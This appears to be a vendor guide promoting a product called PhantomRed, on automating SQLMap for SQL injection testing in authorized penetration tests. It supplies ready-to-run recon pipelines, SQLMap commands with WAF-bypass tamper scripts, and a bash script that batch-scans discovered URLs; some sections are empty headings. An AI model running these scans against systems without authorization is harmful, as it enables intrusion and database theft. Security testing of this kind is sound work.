SQLMap Automation

SQLMap is the industry-standard tool for detecting and exploiting SQL injection vulnerabilities in authorized penetration tests. When used correctly — as a post-discovery stage in a structured offensive workflow — it transforms manual injection testing from hours of labor into a reproducible, auditable automated process. This guide covers practitioner-grade SQLMap automation: how to target parameters precisely, configure tamper scripts, control threading, manage output, and chain SQLMap with upstream tools like FFUF and Nuclei.

Why Manual SQL Injection Testing Breaks at Scale

Modern web applications expose hundreds of endpoints across subdomains, APIs, and legacy paths. Manually testing each parameter for SQL injection is not feasible when a target scope includes dozens of hosts. The failure modes of ad-hoc testing are well understood by anyone who has run a real engagement:

• Coverage gaps — parameters discovered late in the engagement often never get tested
• Inconsistent payloads — manual testers vary in which injection syntax they attempt
• No structured output — findings live in terminal scrollback instead of organized files
• Context loss — returning to a host hours later means re-discovering what was already tested
• WAF triggering — unthrottled manual testing triggers lockouts before the test completes

The correct architecture treats SQLMap not as a weapon fired at a target, but as a post-discovery validation stage that runs precisely against parameters already confirmed to exist and accept user input.

How Automation Improves SQL Injection Testing

Automation solves the scale and consistency problems while adding a layer of operational discipline that manual testing rarely achieves. Specifically, a structured SQLMap automation workflow provides:

• Deterministic coverage — every discovered parameter gets tested with the same payload set
• Reproducible results — re-running the same command against the same target produces the same output structure
• Auditable logs — timestamped session files document exactly what was tested and when
• Controlled noise — delay and threading flags keep the test within the target's acceptable request rate
• Pipeline continuity — SQLMap output feeds directly into reporting and retesting workflows

The shift from manual to automated SQLMap usage is not about removing human judgment — it is about reserving human judgment for the stages that require it: parameter selection, payload tuning, and result interpretation.

Example Workflow: Parameter Discovery to SQLMap Execution

The following pipeline reflects a real post-discovery SQLMap automation chain. Each stage produces output that feeds directly into the next.

Step 1 — Enumerate live hosts and URLs

Begin with subdomain enumeration and HTTP probing to build a list of live, reachable hosts within scope.

# Enumerate subdomains and probe for live HTTP services
subfinder -d target.com -silent | httpx -silent -status-code -no-color \
  | grep "200\|301\|302\|403" \
  | awk '{print $1}' > live_hosts.txt

Step 2 — Discover URLs with parameters

Use Katana or FFUF to crawl live hosts and surface URLs that contain query parameters. Parameters are the injection surface — without this step, SQLMap has nothing precise to target.

# Crawl with Katana and filter for parameterized URLs
katana -list live_hosts.txt -silent -jc -kf all \
  | grep "=" \
  | sort -u > parameterized_urls.txt

# Optional: use Arjun for deeper parameter mining
arjun -i live_hosts.txt -oJ arjun_params.json --stable

Step 3 — Manual review and scoping

Before running SQLMap, review parameterized_urls.txt and remove any endpoints outside your authorized scope, admin paths you are not cleared to test, and any URLs with parameters that clearly do not accept DB-backed input (e.g., static asset paths, tracking pixels). This review step is non-negotiable.

Step 4 — Run SQLMap against a single validated target

Start with a single high-confidence endpoint before running batch mode. This confirms your flags are correct and lets you observe the detection behavior.

# Basic detection run against a validated parameterized URL
sqlmap \
  -u "https://target.com/search?q=test&category=1" \
  --batch \
  --level=3 \
  --risk=2 \
  --threads=2 \
  --delay=1 \
  --random-agent \
  --output-dir="./sqlmap-output/target.com" \
  --forms \
  -v 1

Step 5 — Run SQLMap from a request file (recommended for complex endpoints)

For authenticated endpoints, POST requests, or APIs with custom headers, capture the raw HTTP request in Burp Suite or with curl -v and pass it to SQLMap with the -r flag. This is the most reliable method for complex targets.

# Save raw HTTP request to a file (e.g., from Burp Suite Repeater)
# request.txt content:
#   POST /api/v1/search HTTP/1.1
#   Host: target.com
#   Authorization: Bearer <token>
#   Content-Type: application/json
#
#   {"query":"test","category":1}

sqlmap \
  -r request.txt \
  --batch \
  --level=3 \
  --risk=2 \
  --threads=2 \
  --delay=1 \
  --random-agent \
  --tamper="space2comment,between" \
  --output-dir="./sqlmap-output/api-endpoint" \
  -v 1

Step 6 — Batch execution across a validated URL list

Once single-target testing is confirmed to work correctly, loop over the validated URL list. Add per-host output directories and logging.

#!/usr/bin/env bash
# SQLMap batch execution — authorized targets only
# Usage: ./sqlmap-batch.sh parameterized_urls.txt

set -euo pipefail

OUT_DIR="./sqlmap-output"
URL_LIST="${1:-parameterized_urls.txt}"
LOG_FILE="${OUT_DIR}/batch-run.log"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)

mkdir -p "${OUT_DIR}"

echo "[${TIMESTAMP}] Starting batch SQLMap run" | tee "${LOG_FILE}"
echo "[${TIMESTAMP}] Target list: ${URL_LIST}" | tee -a "${LOG_FILE}"

while IFS= read -r URL; do
  if [[ -z "${URL}" || "${URL}" == \#* ]]; then continue; fi

  HOST=$(echo "${URL}" | awk -F/ '{print $3}')
  HOST_DIR="${OUT_DIR}/${HOST}"
  mkdir -p "${HOST_DIR}"

  echo "[$(date +%H:%M:%S)] Testing: ${URL}" | tee -a "${LOG_FILE}"

  sqlmap \
    -u "${URL}" \
    --batch \
    --level=3 \
    --risk=2 \
    --threads=2 \
    --delay=1 \
    --random-agent \
    --output-dir="${HOST_DIR}" \
    -v 1 \
    2>&1 | tee -a "${LOG_FILE}"

  echo "[$(date +%H:%M:%S)] Done: ${URL}" | tee -a "${LOG_FILE}"

done < "${URL_LIST}"

echo "[$(date +%H:%M:%S)] Batch run complete. Output in: ${OUT_DIR}" | tee -a "${LOG_FILE}"

Tamper Scripts — Bypassing WAFs and Input Filters

When a target has a WAF or application-level input filter blocking standard SQLMap payloads, tamper scripts modify the injection syntax before it is sent. The table below covers the most operationally useful tamper scripts for real engagements.

# Chain multiple tamper scripts with comma separation
sqlmap \
  -u "https://target.com/page?id=1" \
  --batch \
  --tamper="space2comment,between,randomcase" \
  --random-agent \
  --level=3 \
  --risk=2 \
  --delay=1.5 \
  --output-dir="./sqlmap-output/waf-bypass"

Threading and Rate Limiting — Staying Within Scope Constraints

Aggressive SQLMap runs trigger WAF bans, overwhelm small application servers, and violate the rules of engagement on most bug bounty programs. The flags below give you precise control over request rate.

How PhantomRed Automates SQLMap Workflows

Manually constructing and running these pipelines for every engagement is time-consuming and error-prone. PhantomRed's recon workflow generator produces executable shell scripts that chain the entire offensive stack — Subfinder, httpx, FFUF, Nuclei, and SQLMap — into a single reproducible pipeline, with structured output directories, timestamped logs, dependency checks, and scope warnings built in from the start.

Instead of remembering every flag combination and writing fresh scripts for each engagement, you configure the target scope once and the generator produces a complete, ready-to-execute workflow. Saved Workflow History lets you reload previous configurations, compare approaches across engagements, and iterate on what worked.

For deeper background on how PhantomRed approaches autonomous penetration testing as a discipline, see the autonomous penetration testing overview.

Output Management — Structured Evidence for Reporting

SQLMap produces verbose output by default. Without structure, findings get buried in terminal scrollback and are difficult to include in reports. The recommended pattern uses a directory layout that mirrors the engagement scope:

sqlmap-output/
├── target.com/
│   ├── target.com/          # SQLMap session files per host
│   │   ├── log              # Human-readable finding log
│   │   ├── session.sqlite   # Session state for --resume
│   │   └── target.com.csv   # Optional CSV dump
├── api.target.com/
│   └── api.target.com/
└── batch-run.log            # Master log of all tested URLs

Use --resume to continue an interrupted scan without re-testing already-covered parameters — essential for long-running batch runs against large scopes.

# Resume a previous session
sqlmap \
  -u "https://target.com/search?q=test" \
  --batch \
  --output-dir="./sqlmap-output/target.com" \
  --resume

Benefits of Automated SQLMap Workflows

Frequently Asked Questions